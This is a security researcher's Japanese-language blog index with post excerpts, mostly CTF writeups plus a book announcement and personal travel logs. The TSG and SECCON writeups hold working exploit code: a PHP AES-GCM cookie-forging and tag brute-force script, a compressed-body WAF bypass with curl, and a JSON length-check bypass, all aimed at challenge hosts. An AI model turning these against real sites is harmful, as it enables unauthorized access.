Posts on blog.tyage.net

実践 Webペネトレーションテストを出版しました！

Fri, 05 Dec 2025 23:30:00 +0900

オライリー・ジャパンより「実践 Webペネトレーションテスト」という書籍を出版しました。

（表紙はモモンガでもムササビでもなく、ヒヨケザルという動物です。）

本書の内容

ペネトレーションテスト（侵入テスト）はシステムに対する擬似的な攻撃を行うことですが、本書ではWebアプリケーションを対象としたものを特にWebペネトレーションテストと呼んでいます。本書はこのWebペネトレーションテストの手法を実践的に学ぶことができる書籍で、Webアプリケーションやネットワークの基礎的な知識が必要となるものの、セキュリティエンジニアのみならず、Webアプリケーションの開発に携わる方にとっても楽しめる内容となっています。

構成としては、「第I部実践編」と「第II部発展編」の2部に分かれています。「第I部実践編」では、Webペネトレーションテストに必要な技術を紹介し、ハンズオン環境で侵入してから攻撃を展開するところも体験できるようになっています。「第II部発展編」では、実践編には収めきれなかったものの、重要なトピックを収録しています。

第I部実践編
- 1章 Webペネトレーションテストラボの環境構築
- 2章偵察活動 - アタックサーフェスの調査
- 3章アプリケーションへの攻撃 - 目的達成のための脆弱性調査
- 4章攻撃シナリオの実行 - 脆弱性を組み合わせた攻撃の実践
第II部発展編
- 5章ソースコード解析による脆弱性調査
- 6章クラウドサービスの調査
- 7章制限の回避と突破

目次のとおり、技術書ですので実務的な観点よりも技術的な観点を中心にしています。また、具体的なツールの使用方法はほどほどに、その原理や目的が理解できることを重視して執筆しました。

例えば「2章偵察活動」では、特に対象スコープが広いWebペネトレーションテストで最初に実施する、偵察活動を紹介しています。偵察活動で必要な作業は自動化できるものが多く、実際のところはツールを実行することが主流といったことも聞きますが、本書ではそういったツールが実施していることを少し分解して説明しています。

また、「3章アプリケーションへの攻撃」では、SQLインジェクションやOSコマンドインジェクションのような典型的で有名な脆弱性も紹介していますが、認証に関わる脆弱性、特にパスワードリセット機能の脆弱性のような、個別の実装ロジックによる脆弱性も紹介しています。加えて、典型的な脆弱性を紹介する際には、脆弱性そのものの内容だけでなく、Webアプリケーションにおいて実際にどういった形で脆弱性を作り込みやすいのかも紹介しています。これはWebペネトレーションテストやバグバウンティなどで我々が実際に脆弱性を見かける際の、実体験に基づく内容になっています。逆に、有名ではあるものの、見かけることの少ない脆弱性や、リスクが大きくない脆弱性については解説がなかったりします。

「4章攻撃シナリオの実行」は本書でも特徴的な章になったのではないかと思います。この章は、ショッピングサイト（ウェブペンSHOP）というハンズオン環境を対象にして、外部から侵入し攻撃を展開するシナリオを体験できるような内容になっています。これに関しても、実体験を基にした要素をいくつか取り入れているのですが、1つのWebアプリケーションを前にしてどう取り組んでいくかや、試行錯誤によって道が広がっていく過程を楽しんでもらえると嬉しいです。

ペネトレーションテストという内容の触りとしては、「第I部実践編」までで実践的に学ぶことができるようになっていますが、実際にペネトレーションテストをする際には幅広い知識や技術が必要になります。すべてを紹介しているとキリがないのですが、本書では「第II部発展編」に、こういった知識の中でも特に役に立つと思うものを紹介しています。

個人的には、「7章制限の回避と突破」の最後に解説する「ブロック暗号に対する攻撃」は、面白い内容になったのではないかと思います。ブロック暗号はWebアプリケーションでユーザが触れる領域においても実はよく利用されているのですが、一見すると暗号化されたデータはランダムな文字列にしか見えないので、外部からのテストでスルーされてしまうことが多いです。しかし、いくつかのデータのパターンを比較したりして暗号文の原理を紐解いてみると、そのWebアプリケーションにおける致命的な脆弱性が判明することも珍しくありません。

謝辞

本書の執筆にあたり、2年以上一緒に執筆した著者陣、レビューをしていただいた皆様、編集者の皆様に感謝いたします。特にレビューに際しては、日本のセキュリティを代表する錚々たる面々にレビューいただけて感謝しかありません。

セキュリティに興味があるエンジニアの方のみならず、Webアプリケーションを開発している方々にとっても、面白いと思ってもらえるような書籍になったのではないかと思います。ぜひ手に取っていただければ幸いです。

Automotive CTFの全xNexus問題のwriteup

Sat, 07 Dec 2024 17:52:58 +0900

会社チーム「ierae」としてAutomotive CTF 2024に参加しました。国内予選・国内決勝・国際決勝の3ステージがあったのですが、全てのステージでxNexusというVicOne社の提供するプラットフォームに関連する問題が出ました。

チームメンバーの他の問題のwriteup: Automotive CTFのこと

特段技術的に興味深い内容というわけではないのですが、自分しか解いていない問題もあるため供養します。

xNexus Web RCE Anomaly - Automotive CTF 2024 Japan 予選

脅威分析プラットフォームであるxNexusのURLとアカウントが与えられるので、xNexusにログインしてどういった攻撃が飛んできたのかを調査するという問題です。この問題に限らず、xNexusの問題は全て同じような形式です。

問題文

An RCE has been logged in xNexus, what was the exploit used? The answer should be enclosed in the proper flag format of this game.

https://...

ログインするとShellshockが検知されていることが表示されており、それがフラグでした。この問題は他のメンバーが解いてくれました。

FLAG: bh{shellshock}

xNexus CAN Bus Anomaly #1 - Automotive CTF 2024 Japan 予選

問題文

Analyze CAN Bus Data anomalies and find the pattern. Answer should be enclosed in the standard format flag.

記録されているCANのデータを眺めていると、ASCIIの文字がちょくちょく出てきます。

COOPがタイミング系のXS-Searchの緩和策にもなるらしい

Thu, 18 Jul 2024 20:34:44 +0900

XS-Search/XS-Leaksのテクニックは数多くあるけれど、別ウィンドウ/フレームのリソースの読み込み時間を別オリジンから計測するのがよく知られていると思う。

が、CookieのSameSite=Laxがデフォルトとなった現代ではiframeやfetchによる計測が難しくなってしまった。

ref: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#defense

ということで現状汎用的に一番使いやすいのはwindow.open()を利用して、サーバがレスポンスを生成するのに何秒かかるかを計測するテクニック(先ほどのテーブルで言うCross-window Timing)になる。

これは新規ウィンドウに開いた別オリジンのwindow.originにアクセスして確認する手法で、もしサーバからレスポンスが返ってきていないならそれはopenerのオリジンになるし、レスポンスが返ってきたあとなら例外が投げられるので計測できるというもの。

要は、何秒後にwindow.originにアクセスできなくなるかを計測している。

ref: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks

これに対する対策としてはサーバ側でSec-Fetch-Siteを確認するとか様々あるけれど、先程のテーブルを見てみると、COOP(Cross-Origin-Opener-Policy)が有効な防御策として記載されているのが気になった。

COOPはウィンドウのopenerと新規に開かれたウィンドウのプロセス分離するもので、これによって開いたウィンドウ内のiframeの数を数えたり、開いたウィンドウを更に別のURLに遷移させるといったことができなくなる。

MDNにもXS-Leaksの対策になるということが書いてある。

COOP will process-isolate your document and potential attackers can’t access your global object if they were to open it in a popup, preventing a set of cross-origin attacks dubbed XS-Leaks.

ref: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cross-Origin-Opener-Policy

しかし、これは新規ウィンドウのwindow.originにアクセスできなくなるタイミングを計測する、Cross-window Timing Attackを防ぐものではない。

実際、COOPがsame-originのサイトの読み込み時間をクロスオリジンから計測できている。 (画像ではjxckさんのデモサイトを利用)

XS-Leaks wikiのコミットログを見ていると、過去の大規模変更の際に特にコメントなく変更が入っていたので、これは間違いなのではないかと考えた。

が、PRを投げてみたところ、Defense表のチェックボックスは攻撃の緩和策にも付けているということだった。

COOPはクロスオリジンからの時間計測そのものを防げないのに緩和策になるというのはどういうことか。

これは実際にXS-Searchによって攻撃する時のことを考えてみるとわかる話だった。

XS-Searchでは時間計測をすることそのものが目的ではなく、複数のURLのレスポンス時間をオラクルに隠された情報を入手するのが目的となる。

そのため、普通は複数のURLにアクセスする必要があるのだが、Cross-window Timingの場合開いたウィンドウを使いまわすか、毎回新規ウィンドウを開くかどちらかということになる。

後者の方法は、CTFのXSS問題でよく利用されるpuppeteerなんかでは制限なくできてしまうが、現実的には開くウィンドウ分のユーザインタラクションか、サイトのポップアップ許可が必要になる（たぶんほとんどのブラウザがそうかも？）。

となると前者の方法、ウィンドウの使い回しが必要となるわけだが、COOPが設定されているとレスポンスが返ってきた瞬間これができなくなってしまう。こういうわけで、COOPがタイミング系のXS-Searchに対して意図してかせずか有効な緩和策となるということであった。

まとめるとこんな感じ。

XS-Searchで複数のURLのレスポンス時間の差異が知りたい
複数のURLにアクセスしないといけない
COOPがあると、開いたウィンドウを再利用できない
複数のウィンドウを開くには、ユーザが開くウィンドウ分クリックするか、サイトのポップアップを許可する必要がある
結果、Cross-window TimingのXS-Searchが難しくなる

もちろん緩和策なので完璧な対策ではなく、少量のURLならユーザインタラクションを通じて計測結果が得られることもあると思う。

Thu, 11 Jul 2024 21:36:07 +0900

Bridgy Fedがいつの間にかRSSから自動でポスト生成するようになったっぽい。

https://snarfed.org/2024-01-09_51810

これで以前書いた記事のStep.1, Step.2は不要になったかも？すごい便利。

SECCON CTF 2023 Finals Writeup

Thu, 28 Dec 2023 23:35:07 +0900

チーム「ierae」でSECCON CTF 2023 Finals (International)に参加していた。

結果としては10位くらいだったけど、1問解けば4位くらいまで上がれるくらい団子状態だった気がする。

Web babywaf

baby問なのになかなかsolveが出なくてウケた。

fastify/http-proxyのproxyがありWAFになっており、特定のJSON propertyが設定されていると弾かれる。 backendのexpressにどうやってJSONを届けるかという問題。

proxy側はJSONとして処理されず、expressではただしいJSONとして処理されればいいので、いい感じのヘッダやRequest Smugglingっぽいことはできないかと試行錯誤して時間を潰した。

Content-Encoding: gzip はproxyがJSONとして処理できずに、backendではJSONになるのでこれが使えそうと気づく。しかし、proxy側で受け取ったrequest bodyをUTF-8 decodeしてしまうのでうまくいかない。

↓はうまくいかない。ちなみに、proxy側がrequest body書き換えてしまってcontent-lengthとの不整合が起きるのでtransfer-encoding: chunkedする工夫をしている。結果的には無意味であったが…

$ echo '{"givemeflag": "json"}' | gzip | curl -v -i --data-binary @- -H "Content-Encoding: gzip"  http://babywaf.int.seccon.games:3000 -H'content-type: text/plain' -H 'transfer-encoding: chunked'

ASCII範囲のgzipやdeflateを送る必要があるんだけど、なんかあったっけ〜と呟いていたらチームのshiho氏から https://github.com/molnarg/ascii-zip を教えてもらう。自分も昔CTFで使ったはずなのになかなか記憶に出てこなかった（あと、なんかあった気はしたのでググっていたけどググり力が低く見つけられなかった）

一応、ascii-zipそのまま使うだけでは駄目で、checksumやmagic headerもASCII範囲内に収まるように少し改造した。

diff --git a/compress.py b/compress.py
index 7157045..72c7084 100755
--- a/compress.py
+++ b/compress.py
@@ -523,7 +523,7 @@ def wrap_gzip(compressed):

 def wrap_zlib(compressed, data):
     return (
-        'x\xda' +
+        'x\x01' +
         compressed +
         struct.pack('!L', zlib.adler32(data) % pow(2, 32))
     )
@@ -537,9 +537,25 @@ elif args.mode == 'gzip':
     output.write(wrap_gzip(compressor.compress(data)[0]))

 elif args.mode == 'zlib':
-    compressed, data = compressor.compress(data)
-    print repr(compressed)
-    output.write(wrap_zlib(compressed, data))
+    i = 0
+    while True:
+        compressor = ASCIICompressor(
+            map(chr, range(1, 128))
+        )
+        i = i + 1
+        data = '{"givemeflag":"'+str(i)+'"}'
+        compressed, data = compressor.compress(data)
+        #print repr(compressed)
+        data = wrap_zlib(compressed, data)
+        print(data)
+        fail = False
+        for j in data:
+            if ord(j) > 127:
+                print(ord(j))
+                fail = True
+        if fail == False:
+            output.write(data)
+            break

 elif args.mode == 'swf':
     body = data[8:]

これで出力したpayloadをContent-Encoding: deflate付きで送るといける。

2023年宿泊した宿

Thu, 28 Dec 2023 20:49:38 +0900

2023年もそこそこホテルに泊まった。合計で18箇所。せっかくなので記録しておこうと思う。

これ以外にも実家や親戚の家に泊まったりしてるので、2023年は家にいない時間が結構長かった気がする。

1月

三井ガーデンホテル京橋 (東京都)

1人1泊 11,430円

まあまあきれい。東京駅がでかすぎて移動がむずいという問題がある。

山荘神和苑 (大分県)

1人1泊 24,640円

部屋に温泉があるので入り放題でよかった。

2月

アパホテル〈浅草橋駅前〉 (東京都)

1人1泊 10,000円くらい?

まあ普通。昔と比べると高くなったね。

3月

なし

4月

クロスホテル札幌 (北海道)

1人1泊 8,160円

1泊だけだったからか、あんまり記憶にない

5月

ハレクラニ (ハワイ)

1人1泊 40,729円

一番安いガーデンコートヤードで予約していたのだけど、海が見える部屋にアップグレードしてもらえた。普段は景色を気にしないタイプなのだが、部屋から見える海が良すぎた。アップグレードしてもらえて本当によかったと思う。海を眺めながらの朝食が気持ち良すぎる。

アワーズイン阪急 (東京都)

1人1泊 8,000円くらい?

きれいなのに安い。すごい。出張宿泊上限1万円の民の光。おふろの王様も安く使える。

6月

なし

7月

なし

8月

クロス・ウェーブ府中 (東京都)

1人1泊 ???円

セキュリティ・キャンプ。飯がうまい。

Sheraton Stockholm (スウェーデンストックホルム)

1人1泊 ???円

CTF宿。ホテルのジム的なところにサウナがあった。

Hotel Birger Jarl (スウェーデンストックホルム)

1人1泊 21,686円

TSG CTF 2023 Writeup

Thu, 09 Nov 2023 21:00:00 +0900

TokyoWesternsで参加していて2位でした。コンテスト終了3分後にabsurdresのフラグが降ってきたので悔しい〜

以下解いた問題

Upside-down cake

1000文字以下の回文を入力できれば勝ち、だがrequest body sizeの制限がかかっており1000文字送りつけることはできない。

string.length < 1000 などのチェックを以下のJSONで回避する。

{"palindrome":{"length": "a","0":"a","NaN":"a"}}

FLAG: TSGCTF{pilchards_are_gazing_stars_which_are_very_far_away}

#DANCE

tagの長さが検証されていない。以下の記事を見ながらadminのCookieを作る。

https://www.mbsd.jp/research/20200901/aes-gcm/

<?php
$admin = 'admin';
$guest = 'guest';
$xors = [];
for ($i = 0; $i < 5; ++$i) {
  $xors[$i] = ord($admin[$i]) ^ ord($guest[$i]);
}

$iv = 'pMCoutsCcWDg7gRu';
/*
$secret = 'wakaran';
$auth = openssl_encrypt('guest', 'aes-128-gcm', $secret, 0, $iv, $tag);
*/
$auth = 'GEfNr0k=';

$newAuth = base64_decode($auth);
$unpacked = unpack('C*', $newAuth);
for ($i = 0; $i < 5; ++$i) {
  $unpacked[$i+1] = $unpacked[$i+1] ^ $xors[$i];
}
$adminAuth = base64_encode(pack('C*', ...$unpacked));

for ($i = 0; $i < 256; ++$i) {
  $tag = pack('C*', $i);
  /*
  $res = openssl_decrypt($adminAuth, 'aes-128-gcm', $secret, 0, $iv, $tag);
  if ($res) {
    var_dump($i);
    var_dump($res);
    break;
  }
  */
  $tag = base64_encode($tag);
  system("curl http://34.84.176.251:8080/mypage.php -H 'Cookie: auth=$adminAuth; iv=$iv; tag=$tag' --silent");
}

FLAG: TSGCTF{Deadlock_has_been_broken_with_Authentication_bypass!_Now,_repair_website_to_reject_rewritten_CookiE.}

Midnight Sun CTF 2023 Finals - Obelix

Sun, 03 Sep 2023 00:00:00 +0000

Midnight Sun CTF 2023 の Finals に参加してきました。

ストックホルムに行ったので色々と観光して回ったのですが、それはまた気分が乗ったら書こうと思います。

総じて楽しい CTF だったのですが、Web カテゴリの問題で「Obelix」という問題が面白かったので紹介します。

問題内容としては以下の CloudFormation のファイルが配布されて、DynamoDB からフラグを取ってこいというもの。

配布ファイル: https://gist.github.com/tyage/cf1d2221720776ce3c5562e14189b732

ファイルからは DynamoDB のテーブル定義の他、DynamoDB にクエリを投げることのできる API Gateway が確認できます。

外部からアクセスできる API としては /prod/movies/:moviename からアクセスできる MovieNameMethodGet があり、これを通じてDynamoDBないのデータを検索することができます。 DynamoDB に送信するクエリを定義した RequestTemplates には FLAG の一部である「midnight」を含むデータが出力されないようなフィルターが設定されています。

MovieNameMethodGet:
  Type: "AWS::ApiGateway::Method"
  Properties:
    RestApiId: !Ref Api
    ResourceId: !Ref MovieNameResource
    HttpMethod: GET
    ApiKeyRequired: false
    AuthorizationType: NONE
    RequestParameters:
      method.request.path.moviename: true
    Integration:
      Type: AWS
      Credentials: !GetAtt APIGatewayRole.Arn
      IntegrationHttpMethod: POST
      Uri: !Sub "arn:aws:apigateway:${AWS::Region}:dynamodb:action/Query"
      RequestParameters:
        integration.request.path.moviename: method.request.path.moviename
      RequestTemplates:
        application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
      IntegrationResponses:
        - StatusCode: "200"
          ResponseParameters:
            method.response.header.Access-Control-Allow-Methods: "'GET,OPTIONS'"
            method.response.header.Access-Control-Allow-Origin: "'*'"
    MethodResponses:
      - StatusCode: "200"
        ResponseParameters:
          method.response.header.Access-Control-Allow-Methods: false
          method.response.header.Access-Control-Allow-Origin: false

そのため、API を叩いて見ても FLAG らしい文字列は出力されません。

セキュリティキャンプ2023

Mon, 14 Aug 2023 23:07:32 +0000

8/10にセキュリティキャンプ全国大会で「ソースコード解析によるWebアプリケーションの脆弱性調査」という講義を @no1zy_sec さんと二人でしていました。開発工程に少しよりつつ参加者が触れたことのないものに触れてもらおうということで、CodeQLのクエリを書く講義を行いました。

みんなの手元でCodeQL回してもらったらめちゃめちゃファン回ってて部屋が暑くなっていくのが良かった。

もっとCTFっぽい講義にしたほうが良かったかなとか、ソースコード読む楽しさみたいなものを伝えられたらな〜とか話したいことはいっぱいあったものの、ちょっとでも何か興味をもつきっかけになっていたら嬉しいなあと思っています。

自分の講義終わってポリシー記述言語のRego書く講義を少し見ていたのですが、ルールを書く部分でちょっとCodeQLと被るところがあってなんか面白かった。

セキュリティキャンプのメモリアルコーナーがあったので過去の講義資料とか見ていたのですが、やっぱ自分が参加していた2010年とかと比べてWebが複雑になりすぎて参加者大変だな…という気持ちに。（その分便利なツールが昔より多かったり学習する環境は整備されていたりとかはあるけど。）

その日はそのまま帰宅して、翌日からDEF CON CTF Finalsをリモートから少し手伝ったりしていた。今週はMidnight Sun CTF Finals参加しにスウェーデン行きます。初北欧なので楽しみ。

Sun, 23 Jul 2023 15:11:24 +0900

祇園祭(後祭)

みたらし祭り

Tue, 18 Jul 2023 13:19:00 +0900

Reply TO: https://social.mikutter.hachune.net/@kcz146/110733096249672879

できるよ！

Tue, 18 Jul 2023 08:52:50 +0900

昨日までは人の声で溢れてたのに、祇園祭の終わりとともに今朝からセミが主役になって夏を感じる。

このブログがFediverseに対応しました

Mon, 17 Jul 2023 21:35:19 +0900

Twitter が日々壊れゆくなか、周りの人が Misskey や Mastodon や Threads に住居を移すようになりました。

私も移住先を検討してみたものの、移住先のプラットフォームだっていつまで持つか分からないし、複数のプラットフォームにアウトプットを分散させるのも良くないなぁと思い、最終的にマイクロブログがだめならブログでいいじゃんと自分を納得させるに至りました。

せっかくなら ActivityPub に対応して、Fediverse の人からリモートフォローできるようにして、反応が見れたら嬉しいよねということで色々と調べて対応させることができました。

本ブログは「@blog.tyage.net@blog.tyage.net」でリモートフォローすることが可能です。

このブログは hugo で生成しており、静的ファイルのみ配信しています。それは変えたくなかったため、ActivityPub を喋るサーバとしてはBridgy Fedという外部サービスを利用することにしました。また、ブログの投稿に対するリプライやお気に入りは Webmention という仕組みを通じて表示できるようにしました。

静的ブログをこうやって Fediverse の世界に参加させるのは少し大変だったので、手順を残しておきます。

Step1. Bridgy Fed 導入

Bridgy Fed を使うことで、ブログや Web サイトを Fediverse アカウントに変えることができます。

ざっくりとした仕組みとしては、Bridgy Fed がブログの内容を解析して Web サイトの代わりに ActivityPub で Follower に配信したり、逆に Follower から送られてきたリアクションを Webmention として記録してくれるというものです。

必要な手順としては主に 2 つです。

「/.well-known/host-meta」と「/.well-known/webfinger」を Bridgy Fed にリダイレクトすること（このため GitHub Pages は利用できず Netlify にサーバを移しました）
Bridgy Fed から投稿に関する情報が分かるように、サイト内に microformats のクラスを足すこと

下のように投稿全体を表す HTML 要素に「h-entry」クラスを、投稿内容を表す HTML 要素に「e-content」クラスを、といった調子でクラスを足していけばmicroformatsの「h-entry」に対応したことになるようです。

Wed, 12 Jul 2023 13:57:10 +0900

マイクテストマイクテスト

Sun, 09 Jul 2023 22:57:10 +0900

あー投稿にタイトルがついてなければ article じゃなくて note になるのね。

そして mastodon では article の内容は表示してくれないと…

マイクテスト

ACSC 2023 Gotion Challenge Author Writeup

Sun, 12 Mar 2023 00:00:00 +0900

I made a Gotion Challenge in ACSC (Asian Cyber Security Challenge) 2023.

This is a byte-range cache poisoning XSS challenge.

Challenge Description:

Gotion is yet another simple secure note service. You might have seen these kind of applications many times before, but try this one!

Challenge Repository: https://github.com/tyage/acsc2023-gotion

In ACSC 2023, I made a Gotion challenge and promotion video :) Thank you everyone who played! pic.twitter.com/SN4PXKkKid
— もうダニ by 左京区在中 (@tyage) February 26, 2023

Challenge Details

The challenge has three components: Go web application, nginx and bot. This is obviously an XSS challenge as the bot has FLAG in the cookie.

Diving into Dependabot along with a bug in npm

Mon, 12 Jul 2021 23:30:00 +0900

If you are developing some applications on GitHub, you might have seen pull requests from Depedabot. It automatically finds outdated vulnerable packages and sends pull requests to fix that.

It is enabled by default and can make a commit on dependabot/* branch of many repositories on GitHub. Therefore, I thought If I could gain a controll of Dependabot, I can steal write permissions of those repositories. So I started to look into Dependabot.

Gain write permission of repositories with a bug in GitHub Actions

Fri, 02 Apr 2021 22:28:00 +0900

GitHub Actions is a useful feature for the jobs, for example, building, publishing.

I found a bug which allows unauthorized users to edit the main branch of the repositories in GitHub. Repositories which enables GitHub Actions are affected but fortunately, the bug exists in a brief window from 2021/02/04 18:42 UTC to 2021/02/05 13:35 UTC. Also, protected branch is safe :)

Recently, I saw the case that some users abused the GitHub Actions for the DDoS.

Security filter bypasses with "matrix variables"

Fri, 19 Jun 2020 09:28:25 +0900

Spring framework, which is a popular web application framework for Java, supports “matrix variables”.

With matrix variables, we can set the values of parameters in the path segment.

// GET /owners/42;q=11/pets/21;q=22

@GetMapping("/owners/{ownerId}/pets/{petId}")
public void findPet(
        @MatrixVariable(name="q", pathVar="ownerId") int q1,
        @MatrixVariable(name="q", pathVar="petId") int q2) {

    // q1 == 11
    // q2 == 22
}

source

Some of you may have seen the URIs that contain session ID such as http://example.com/login;jsessionid=XXXXXXX . The important point is that matrix variables can appear not only in the last part of the URI but also in the middle part of the URI (e.g. http://example.com/foo;p=1/bar;q=22). If you want to extract the path info from raw URI in order to filter the access, you have to remove matrix variables exactly. Therefore, if you truncate all characters appears after the semicolon by mistake, your filter can’t handle the request correctly which contains matrix variables in the middle part of URI.

ブログをHugo + GitHub Pagesに変えた

Tue, 05 May 2020 20:14:28 +0900

ブログをHugo + GitHub Pagesで運用することにしました。 10年以上WordPressでブログを運用していたのだけど、わざわざ専用のサーバを用意したりWordPressの更新を時々見たりするメリットもあまりないなと。

CSP Embedded EnforcementでXSS mitigationをbypassする話

Tue, 26 Jun 2018 15:11:37 +0000

なに

CSP Embedded Enforcementを使って、JavaScriptで書かれたXSS mitigationをbypassできるパターンがあるという話。
以下のような条件が必要なので現実に使える場面は普通はなさそう。
CTFでは便利かもしれない。

Webページで同一オリジンのページをiframeで読み込める
WebページのヘッダにCSPが設定されていない
Webページに指定したHTMLを埋め込める(XSSができる)
ただし、WebページにJavaScriptによるXSS防御機構がある

このとき、CSP Embedded Enforcementを使うことで、防御機構を回避して攻撃コードだけを実行することができる。

SECCON 2017 Final International competition – 参 writeup

Thu, 22 Mar 2018 15:20:40 +0000

SECCON 2017国際決勝に参加した。

5種類のKoH形式の問題と、いくつかのJeopardy形式の問題が出題された。

問題参(KoH)の問題文:

The Raspberry Pi distributed to each team contains the Bingo-Service program
Please log-in your Raspberry Pi ( ssh: 192.168.4.254, user/pass = pi/kenjiinwonderland )
Please set up Bingo-Service on 192.168.4.254 : 80
If you click “Measure” button above, the system will accesses your Bingo-Service in a few minutes later
“Measure” button can be clicked once every 7 minutes (Once you click it, you have to wait for 7 minutes)
Even if you do not click “Measure” button, the system may occasionally access your Bingo-Service
Response time of your service is measured
The hash of the team with the shortest response time is automatically written to flag.cgi
In this challenge, players do not need to write “Team Hash” on a regular basis
You will get a keyword for an attack point, if “Response Time” of your service is less than 20.0
checker.py in Raspberry Pi, is different from we used for accessing your service

ANAプラチナメンバーになりました

Wed, 14 Feb 2018 10:36:25 +0000

2017年はいい感じに飛行機に乗る機会があって、年末修行したら 50022PP (ANA分: 34444PP) になりました。
今年度までは学生なのでSFCに申し込めないですが、来年度からSFC会員に申し込もうと思います。(できるのか？)

消えないうちにフライトを記録。

日付	フライト	ルート	マイル	PP	値段
2017/03/25	NH 0026	大阪（伊丹）－東京（羽田）	280	560	125,940円　(25.76円/PP)
2017/03/25	UA 0882	TOKYO/NARITA – OHARE	1,884	1,884
2017/03/31	NH 0039	東京（羽田）－大阪（伊丹）	280	560
2017/03/31	UA 0881	OHARE – TOKYO/NARITA	1,884	1,884
2017/05/05	NH 0024	大阪（伊丹）－東京（羽田）	210	820	28,580円　(17.42円/PP)
2017/05/07	NH 0037	東京（羽田）－大阪（伊丹）	210	820
2017/05/12	NH 0030	大阪（伊丹）－東京（羽田）	210	820	24,980円　(15.23円/PP)
2017/05/13	NH 0031	東京（羽田）－大阪（伊丹）	210	820
2017/05/21	NH 0022	大阪（伊丹）－東京（羽田）	210	820	23,180円　(14.13円/PP)
2017/05/21	NH 0041	東京（羽田）－大阪（伊丹）	210	820
2017/06/26	NH 0979	OSAKA/KANSAI – BEIJING CAPITAL	546	819	74,200円　(45.29円/PP)
2017/06/30	NH 0980	BEIJING CAPITAL – OSAKA/KANSAI	546	819
2017/07/12	NH 0021	東京（羽田）－大阪（伊丹）	210	820	13,590円　(16.57円/PP)
2017/07/25	NH 0020	大阪（伊丹）－東京（羽田）	231	820	28,680円　(17.48円/PP)
2017/07/25	NH 0039	東京（羽田）－大阪（伊丹）	231	820
2017/08/10	NH 0026	大阪（伊丹）－東京（羽田）	231	820	29,980円　(18.28円/PP)
2017/08/13	NH 0035	東京（羽田）－大阪（伊丹）	231	820
2017/08/26	NH 0032	大阪（伊丹）－東京（羽田）	231	820	62,880円　(18.58円/PP)
2017/08/27	NH 0079	東京（羽田）－札幌（千歳）	420	1,165
2017/08/29	NH 0772	札幌（千歳）－大阪（伊丹）	548	1,399
2017/09/20	NH 3173	大阪（伊丹）－新潟	258	871	24,400円　(28.01円/PP)
2017/09/27	NH 0024	大阪（伊丹）－東京（羽田）	231	820	24,480円　(14.92円/PP)
2017/09/30	NH 0031	東京（羽田）－大阪（伊丹）	231	820
2017/10/25	NH 2176	大阪（伊丹）－東京（成田）	308	560	133,360円　(17.96円/PP)
2017/10/25	LX 0161	TOKYO/NARITA – ZURICH（ＮＨ）共同便利用	3,012	3,012
2017/10/30	LX 0160	ZURICH – TOKYO/NARITA（ＮＨ）共同便利用	3,012	3,012
2017/10/31	NH 0991	東京（羽田）－大阪（関西）	462	840
2017/11/08	NH 0024	大阪（伊丹）－東京（羽田）	231	820	29,780円　(18.15円/PP)
2017/11/13	NH 0021	東京（羽田）－大阪（伊丹）	231	820
2017/11/14	TG 0623	OSAKA/KANSAI – BANGKOK	2,592	2,992	99,960円　(16.70円/PP)
2017/11/18	TG 0622	BANGKOK – OSAKA/KANSAI	2,592	2,992
2017/12/22	NH 0577	神戸－札幌（千歳）	1,165	2,065	91,600円　(10.62円/PP)
2017/12/23	NH 1712	札幌（千歳）－大阪（関西）	1,165	2,065
2017/12/23	NH 1737	大阪（関西）－沖縄	1,292	2,247
2017/12/24	NH 1734	沖縄－大阪（関西）	1,292	2,247
2017/12/28	NH 0474	沖縄－東京（羽田）	1,722	2,860	52,390円　(10.25円/PP)
2017/12/28	NH 0765	大阪（伊丹）－沖縄	1,292	2,247
合計	30,101	50,220	867,980円　(17.35円/PP)

4月に韓国に行っているんですが、LCCだったためPP加算されていなかったりと、ガバガバです。
年末になってやっとステータスが見えてきたので急いで修行していました。

tyage.sakura.ne.jp を終了します

Fri, 29 Sep 2017 14:32:27 +0000

2009/03/21から8年半、ダラダラと運用していた tyage.sakura.ne.jp を、2017/09/30に終了します。

またサイトのソースコードを以下に公開します。

以下はKMCのLT大会で発表した際のスライドです。

Tokyo Westerns CTF 2017 – Clock Style Sheet writeup

Tue, 05 Sep 2017 01:34:28 +0000

Overview

Problem page:
http://css.chal.ctf.westerns.tokyo/

Provided source code:
proxy.py
sanitizer.py

There are 4 pages: /, /refresh, /chrowler, /flag.

When we access /flag, it responses only local IP is allowed. (your IP: 110.3.193.114).
So, we should use /chrowler (crawler using Chrome) to get the content in /flag.

Find XSS

Next, we search XSS and found /refresh has it. (We found the vulnerability when browsing with w3m)
In this page, user will be redirected to the page where he or she is (which represented by Referer header).

Google CTF 2017 – Geokitties v2 writeup

Sun, 25 Jun 2017 17:04:34 +0000

Overview

Problem page:
https://geokittiesv2.web.ctfcompetition.com/

Copy of source code:
https://gist.github.com/tyage/cac08c8e17b90b840fb22cb434cff127

It receives comment, then admin checks it and clicks a link.

The comment is validated by using htmlparser2.

Allowed tags are: p, a, b, img, br, i
Invalid attributes: on(.*)= and href=javascript:...

Solution

What we should do is find the differences in parsing between Google Chrome and htmlparser2.

After some time, I realize that when input is utf-16 string, Chrome parses it as utf-16 string but htmlparser2 does not.

Google CTF 2017 – The X Sanitizer writeup

Sun, 25 Jun 2017 15:57:35 +0000

Overview

Problem page:
https://sanitizer.web.ctfcompetition.com

Copy of source code:
https://gist.github.com/tyage/6eabacf6001bd068287842b1052132e4

The application sanitize input and render it.

Sanitizing method

The method of sanitizing is follow:

1. Remove the words that match with /meta|srcdoc|utf-16be/i from input.
2. Register a ServiceWorker then, render input in iframe
3. In iframe, it load <script src=sanitize> which executes the following code:

onload = _=> setTimeout(_=> parent.postMessage(document.body.innerHTML, location.origin), 1000);
remove = node => (node == document) ? document.body.innerHTML = '' : node.parentNode.removeChild(node);
document.addEventListener("securitypolicyviolation", e => remove(e.target));
document.write('<meta http-equiv="Content-Security-Policy" content="default-src \\'none\\'; script-src *"><body>');

4. The code removes the node which violates CSP.
5. To prevent loading the attacker’s script, ServiceWorker overrides the response of contents as following code:

嘘つきPHP ZipArchive::addGlobと壊れたファイルパス

Mon, 05 Dec 2016 12:24:31 +0000

こんにちは.
KMC5回生のtyageです.

